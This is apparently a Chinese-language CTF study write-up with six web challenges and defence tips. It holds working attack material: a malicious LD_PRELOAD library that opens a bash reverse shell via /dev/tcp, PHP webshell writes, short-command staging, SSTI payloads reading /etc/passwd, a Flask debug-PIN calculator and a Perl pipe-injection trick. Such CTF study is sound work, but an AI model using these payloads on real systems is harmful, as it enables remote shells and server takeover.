CTF一些有意思考点+例题详细分析系列
字数 1049 2025-08-22 12:22:30
CTF 考点与例题深度分析教学文档
1. LD_PRELOAD 劫持攻击
考点分析
- 利用
putenv设置LD_PRELOAD环境变量 - 通过上传恶意
.so文件劫持系统函数 - 绕过文件上传限制(如修改文件后缀)
例题解析
题目:uploadandinject
关键代码:
putenv("LD_PRELOAD=/var/www/html/$img_path");
system("echo Success to load");
攻击步骤:
- 编写恶意共享库(exp.c):
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
}
char *strcpy(char *__restrict __dest, const char *__restrict __src) {
if(getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
- 编译为共享库:
gcc -shared -fPIC exp.c -o exp.so
- 修改后缀上传(如exp.jpg)
- 触发加载:
http://target/index.php?image_path=upload/exp.jpg
2. 无字符RCE与闭合思想
考点分析
- 通过注释符闭合PHP代码块
- 无字母数字的RCE技术
- 文件写入漏洞利用
例题解析
题目:simple_bypass
关键点:
- 发现任意文件读取漏洞:
/get_pic.php?image=get_pic.php
- 分析模板注入点:
$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
- 构造闭合:
<?php $user = ((string)/*); ... ?>
- 无字母RCE payload:
01'13'13'05'12'14'0D'2F'0E'09'
- 替代方案:写入webshell
file_put_contents('shell.php','<?php eval($_POST[1])?>')
3. 短字符RCE技术
考点分析
- 6字符长度限制下的命令执行
- Linux通配符和文件操作技巧
- 分阶段构建攻击链
例题解析
题目:ezrce
攻击方法1(巧合型):
>nl* /*>d
攻击方法2(通用型):
- 创建文件:
>a
*>v
*v>0
- 执行命令:
ls -th
ech\o\
- 分阶段写入webshell:
>hp
>1.p\\
>d\e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
sh 0
sh f
4. Flask PIN码计算
考点分析
- Flask调试模式PIN码生成机制
- 获取生成PIN码的六个要素
- 服务器信息收集技术
例题解析
题目:FlaskApp
获取六要素:
- 用户名:
{{ [].__class__.__base__.__subclasses__()[X].__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}
- MAC地址:
{{ [].__class__.__base__.__subclasses__()[X].__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}
- 机器ID:
{{ [].__class__.__base__.__subclasses__()[X].__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}
PIN计算脚本:
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485410388611', # /sys/class/net/ens33/address
'310e09efcc43ceb10e426a0ffc99add5c651575fe93627e6019400d4520272ed' # /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit: continue
if isinstance(bit, str): bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
5. Perl GET命令执行漏洞
考点分析
- Perl中open函数的管道符命令执行
- 文件存在性检查绕过
- SSRF与命令执行结合
例题解析
题目:SSRFme
攻击步骤:
- 创建命令文件:
?url=&filename=bash -c /readflag|
- 执行命令:
?url=file:bash -c /readflag|&filename=ll
- 获取结果:
访问ll文件获取flag
6. 自动化脚本编写
考点分析
- API接口分析
- JSON数据处理
- Session保持
- 自动化流程设计
例题解析
题目:Guess Who I Am
解题脚本:
import requests
import json
s = requests.session()
getquestion = 'http://node5.anna.nssctf.cn:28612/api/getQuestion'
verifyanswer = "http://node5.anna.nssctf.cn:28612/api/verifyAnswer"
# 加载已知数据
with open('data.json', 'r') as f:
shuju = json.load(f)
for _ in range(100):
# 获取问题
r1 = s.get(getquestion)
data = r1.json()
# 匹配答案
for item in shuju:
if item["intro"] == data['message']:
id = item['id']
break
# 提交答案
data2 = {"id": id}
r2 = s.post(url=verifyanswer, data=data2)
print(r2.text)
# 获取flag
r3 = s.get("http://node5.anna.nssctf.cn:28612/api/getScore")
print(r3.text)
防御建议
-
LD_PRELOAD防护:
- 禁用危险环境变量
- 限制文件上传类型和内容检查
- 使用安全函数替代system()
-
代码注入防护:
- 严格过滤用户输入
- 避免使用eval()等危险函数
- 使用白名单而非黑名单
-
短字符RCE防护:
- 禁用危险字符
- 限制命令长度
- 使用沙箱环境
-
Flask安全配置:
- 生产环境禁用调试模式
- 保护敏感文件
- 使用随机生成的SECRET_KEY
-
Perl安全编程:
- 避免直接使用用户输入调用open()
- 使用三参数形式的open()
- 严格验证输入
-
API安全:
- 实施速率限制
- 添加CSRF保护
- 敏感操作需要二次验证